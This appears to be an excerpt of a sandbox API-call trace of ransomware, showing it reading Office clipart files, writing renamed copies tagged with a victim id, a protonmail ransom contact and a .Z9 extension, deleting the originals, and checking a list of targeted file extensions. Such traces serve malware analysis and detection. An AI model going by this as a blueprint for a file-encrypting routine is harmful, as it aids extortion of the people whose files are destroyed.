	[0090.117] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.117] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.118] SetEndOfFile (hFile=0x388) returned 1
	[0090.118] CloseHandle (hObject=0x388) returned 1
	[0090.118] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.118] SetEndOfFile (hFile=0x370) returned 1
	[0090.119] CloseHandle (hObject=0x370) returned 1
	[0090.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1
	[0090.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.119] lstrlenW (lpString=".doc") returned 4
	[0090.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.119] lstrlenW (lpString=".docx") returned 5
	[0090.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.119] lstrlenW (lpString=".pdf") returned 4
	[0090.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.119] lstrlenW (lpString=".xls") returned 4
	[0090.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.119] lstrlenW (lpString=".xlsx") returned 5
	[0090.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.119] lstrlenW (lpString=".ppt") returned 4
	[0090.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.119] lstrlenW (lpString=".zip") returned 4
	[0090.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.120] lstrlenW (lpString=".rar") returned 4
	[0090.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString=".bz2") returned 4
	[0090.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString=".7z") returned 3
	[0090.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.120] lstrlenW (lpString=".dbf") returned 4
	[0090.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.120] lstrlenW (lpString=".1cd") returned 4
	[0090.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.120] lstrlenW (lpString=".jpg") returned 4
	[0090.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.120] lstrlenW (lpString=".doc") returned 4
	[0090.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString=".docx") returned 5
	[0090.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.120] lstrlenW (lpString=".pdf") returned 4
	[0090.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString=".xls") returned 4
	[0090.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.120] lstrlenW (lpString=".xlsx") returned 5
	[0090.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.120] lstrlenW (lpString=".ppt") returned 4
	[0090.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.120] lstrlenW (lpString=".zip") returned 4
	[0090.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.120] lstrlenW (lpString=".rar") returned 4
	[0090.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.120] lstrlenW (lpString=".bz2") returned 4
	[0090.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.121] lstrlenW (lpString=".7z") returned 3
	[0090.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.121] lstrlenW (lpString=".dbf") returned 4
	[0090.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.121] lstrlenW (lpString=".1cd") returned 4
	[0090.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0090.121] lstrlenW (lpString=".jpg") returned 4
	[0090.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.121] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.121] lstrlenW (lpString="DD01166_.WMF") returned 12
	[0090.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.121] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2080) returned 1
	[0090.121] CloseHandle (hObject=0x370) returned 1
	[0090.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220
	[0090.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.122] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.122] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.122] GetLastError () returned 0x0
	[0090.122] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x820, lpOverlapped=0x0) returned 1
	[0090.123] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x830, lpOverlapped=0x0) returned 1
	[0090.124] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.124] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.124] SetEndOfFile (hFile=0x388) returned 1
	[0090.125] CloseHandle (hObject=0x388) returned 1
	[0090.125] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.125] SetEndOfFile (hFile=0x370) returned 1
	[0090.125] CloseHandle (hObject=0x370) returned 1
	[0090.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1
	[0090.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.126] lstrlenW (lpString=".doc") returned 4
	[0090.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.126] lstrlenW (lpString=".docx") returned 5
	[0090.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.126] lstrlenW (lpString=".pdf") returned 4
	[0090.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.126] lstrlenW (lpString=".xls") returned 4
	[0090.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.126] lstrlenW (lpString=".xlsx") returned 5
	[0090.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.126] lstrlenW (lpString=".ppt") returned 4
	[0090.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.126] lstrlenW (lpString=".zip") returned 4
	[0090.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.126] lstrlenW (lpString=".rar") returned 4
	[0090.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.126] lstrlenW (lpString=".bz2") returned 4
	[0090.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.126] lstrlenW (lpString=".7z") returned 3
	[0090.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".dbf") returned 4
	[0090.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".1cd") returned 4
	[0090.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".jpg") returned 4
	[0090.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".doc") returned 4
	[0090.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString=".docx") returned 5
	[0090.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.127] lstrlenW (lpString=".pdf") returned 4
	[0090.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString=".xls") returned 4
	[0090.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.127] lstrlenW (lpString=".xlsx") returned 5
	[0090.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.127] lstrlenW (lpString=".ppt") returned 4
	[0090.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".zip") returned 4
	[0090.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.127] lstrlenW (lpString=".rar") returned 4
	[0090.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString=".bz2") returned 4
	[0090.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString=".7z") returned 3
	[0090.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".dbf") returned 4
	[0090.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.127] lstrlenW (lpString=".1cd") returned 4
	[0090.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0090.128] lstrlenW (lpString=".jpg") returned 4
	[0090.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.128] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.128] lstrlenW (lpString="DD01167_.WMF") returned 12
	[0090.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.128] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2080) returned 1
	[0090.128] CloseHandle (hObject=0x370) returned 1
	[0090.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220
	[0090.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.128] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.128] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.129] GetLastError () returned 0x0
	[0090.129] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x820, lpOverlapped=0x0) returned 1
	[0090.130] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x830, lpOverlapped=0x0) returned 1
	[0090.131] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.131] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.131] SetEndOfFile (hFile=0x388) returned 1
	[0090.131] CloseHandle (hObject=0x388) returned 1
	[0090.132] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.132] SetEndOfFile (hFile=0x370) returned 1
	[0090.132] CloseHandle (hObject=0x370) returned 1
	[0090.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1
	[0090.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.133] lstrlenW (lpString=".doc") returned 4
	[0090.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.133] lstrlenW (lpString=".docx") returned 5
	[0090.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.133] lstrlenW (lpString=".pdf") returned 4
	[0090.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.133] lstrlenW (lpString=".xls") returned 4
	[0090.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.133] lstrlenW (lpString=".xlsx") returned 5
	[0090.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.133] lstrlenW (lpString=".ppt") returned 4
	[0090.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.133] lstrlenW (lpString=".zip") returned 4
	[0090.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.133] lstrlenW (lpString=".rar") returned 4
	[0090.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.133] lstrlenW (lpString=".bz2") returned 4
	[0090.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.133] lstrlenW (lpString=".7z") returned 3
	[0090.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString=".dbf") returned 4
	[0090.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString=".1cd") returned 4
	[0090.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString=".jpg") returned 4
	[0090.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString=".doc") returned 4
	[0090.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString=".docx") returned 5
	[0090.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.134] lstrlenW (lpString=".pdf") returned 4
	[0090.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString=".xls") returned 4
	[0090.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.134] lstrlenW (lpString=".xlsx") returned 5
	[0090.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.134] lstrlenW (lpString=".ppt") returned 4
	[0090.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString=".zip") returned 4
	[0090.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.134] lstrlenW (lpString=".rar") returned 4
	[0090.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString=".bz2") returned 4
	[0090.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString=".7z") returned 3
	[0090.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.134] lstrlenW (lpString=".dbf") returned 4
	[0090.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.135] lstrlenW (lpString=".1cd") returned 4
	[0090.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0090.135] lstrlenW (lpString=".jpg") returned 4
	[0090.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.135] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.135] lstrlenW (lpString="DD01168_.WMF") returned 12
	[0090.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.835] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2004) returned 1
	[0090.835] CloseHandle (hObject=0x350) returned 1
	[0090.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220
	[0090.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.835] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.835] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.835] GetLastError () returned 0x0
	[0090.835] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x7d4, lpOverlapped=0x0) returned 1
